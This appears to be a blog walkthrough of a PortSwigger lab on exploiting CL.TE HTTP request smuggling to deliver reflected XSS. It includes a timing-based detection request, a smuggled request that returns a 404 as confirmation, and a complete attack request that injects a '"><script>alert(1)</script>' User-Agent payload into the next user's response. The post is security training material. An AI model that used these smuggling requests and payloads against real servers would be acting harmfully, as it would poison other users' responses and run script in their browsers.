Post

PortSwiggerlabs: Exploiting HTTP request smuggling to deliver reflected XSS

PortSwiggerlabs: Exploiting HTTP request smuggling to deliver reflected XSS

Information :

This lab involves a front-end and back-end server, and the front-end server doesn’t support chunked encoding.

The application is also vulnerable to reflected XSS via the User-Agent header.

To solve the lab, smuggle a request to the back-end server that causes the next user’s request to receive a response containing an XSS exploit that executes alert(1).

Solution :

Quick note:

HTTP Request Smuggling happens because of a disagreement between servers. In a typical setup you have a front-end (proxy, load balancer, CDN) forwarding requests to a back-end, and they share persistent TCP connections. The issue is that HTTP gives two ways to tell a server where a request body ends: Content-Length, which just counts bytes, and Transfer-Encoding: chunked, which sends the body in chunks ending with a zero-size chunk. When both headers are present in the same request, different servers may prioritize differently and that gap is what we exploit.

The idea is: you craft a request the front-end considers complete and forwards normally, but the back-end reads it differently and treats part of your body as leftover data sitting in the TCP buffer. That leftover then gets prepended to the next incoming request — yours or another user’s. That’s how you end up bypassing access controls, hijacking requests, or poisoning responses.

The three main variants are CL.TE, TE.CL, and TE.TE , basically which server trusts which header, or in the TE.TE case, how you obfuscate the Transfer-Encoding header enough that one server just ignores it entirely.

Before jumping into Burp, two things worth knowing: first, disable Update Content-Length in Repeater options , if Burp auto corrects your Content-Length you’re defeating the whole point. Second, make sure you’re sending over HTTP/1, not HTTP/2. When testing manually, timing delays are your main signal if the response hangs after your crafted request, the back-end is likely waiting for data that isn’t coming, which means it’s parsing things differently from the front-end. That’s your confirmation.

Now back to the lab:

image

Just like everytime we first need to find what case we’ve got , is it a CL.TE , TE.CL or a TE.TE .

For this , I like to use this graph from Jarno Timmermans :

image

But you can use this guide from HackerReciepe :

1
https://www.thehacker.recipes/web/config/http-request-smuggling/#practice

Now first let’s send the detection request, that based on the response we will know if the backend and front end trust different Headers :

  • First Downgrade the request to HTTP1.1/
  • Then We change the request Method to POST
  • Then Remove Auto Length
  • Add Transfer-Encoding: chunked
  • Show Non-printable characters , this will be helpful when it comes to counting Bytes .
  • In the Boy , add
1
2
3
4
5
6
Content-Lenght: 6
Transfer-Encoding: chunked

1
123
X

image

Now if we send this , either we get an error which means the front end is definetly using TE , and since there is no terminating character we immediately get an error , and we need to figure out what the backend is using .

Or we will get a delay , which means the front end does use CL , but the backend uses TE and since there is no terminating character , it will hang forever until we get a request time out .

image

Perfect , a delay indicates it is a CL.TE .

To confirm , we can smuggle a request for 404 , if we send another normal request that returns 404 instead of 200 we will know that it is indeed a CL.TE .

First the attack request :

1
2
3
4
5
6
7
8
9
10
POST / HTTP/1.1
Host: 0a830060048ba1998139b16d00ca000a.web-security-academy.net
Content-Type: application/x-www-form-urlencoded
Content-Length: 6
Transfer-Encoding: chunked

0

GET /404_Found HTTP/1.1
X-Ignore: X

image

Now if we send a normal request :

image

Got the 404 , Perfect since this confirms the request for 404 was smuggled .

For this lab , we know that the user agent is vulnerable to an XSS , but first we need to see if the user agent is reflected back to us in the response :

image

For the / endpoint , we see that it is not reflected , but if we keep browsing the app , on the responses for different items we find that the user agent is indeed reflected back to us :

image

Perfect this is where we will inject :

Let’s try injecting the User agent and see what we get , first used a very basic payload :

1
<script>alert(1)</script>

Bur before we need to break out of the tag before injecting :

1
"><script>alert(1)</script>

image

Perfect we see that we were able to break out of the quotes and get our payload as part of the HTML . Now if we wanted to see it , either use the render option on Burp or get a link By using the Request in Browser feature .

image

If we select to have it in our current browser section :

image

Now if we paste that URL :

image

We get our XSS payload executed , but that’s not what we want , we need the XSS to execute inside another user’s session .

Which means we will be smuggling a request where we inject our payload , the request containing the XSS will be stored in the buffer , next time someone make any request , it will be appended to our smuggled request , and it will fire the XSS on their browser .

First we need our Attack request , or the request where we will be smuggling the request containing the XSS .

The request we’re smuggling is the same request we were able to inject in (the one that reflects our user agent) :

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
GET /post?postId=4 HTTP/2
Host: 0a830060048ba1998139b16d00ca000a.web-security-academy.net
Cookie: session=XFtbyOurjQnp0C2rFXYPtZTCpM9FUn8d
Sec-Ch-Ua: "Chromium";v="133", "Not(A:Brand";v="99"
Sec-Ch-Ua-Mobile: ?0
Sec-Ch-Ua-Platform: "Linux"
Accept-Language: en-US,en;q=0.9
Upgrade-Insecure-Requests: 1
User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/133.0.0.0 Safari/537.36
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7
Sec-Fetch-Site: same-origin
Sec-Fetch-Mode: navigate
Sec-Fetch-User: ?1
Sec-Fetch-Dest: document
Referer: https://0a830060048ba1998139b16d00ca000a.web-security-academy.net/
Accept-Encoding: gzip, deflate, br
Priority: u=0, i

Now of course we can get rid of the headers that we don’t need :

1
2
3
4
5
6
GET /post?postId=4 HTTP/2
User-Agent: "><script>alert(1)</script>
Content-Length: 3
Content-Type: application/x-www-form-urlencoded

x=

Perfect now this will come right after the terminating character of the initial request :

1
2
3
4
5
6
7
8
9
10
11
12
13
14
POST / HTTP/1.1
Host: 0a830060048ba1998139b16d00ca000a.web-security-academy.net
Content-Type: application/x-www-form-urlencoded
Content-Length: 6
Transfer-Encoding: chunked

0

GET /post?postId=4 HTTP/2
User-Agent: "><script>alert(1)</script>
Content-Length: 3
Content-Type: application/x-www-form-urlencoded

x=

The reason why we add CL and x= is just so that the normal request gets appended inside the body of the smuggled request , after the x= , this way we get rid of all possible errors like the double Host headers , double Request methods etc…

image

Once we send the attack request , all we need to do now is just send the normal request and it will executed the XSS from the smuggled request :)

image

All of this without any user interaction .

That was all for this lab , see you in the next one :)

This post is licensed under CC BY 4.0 by the author.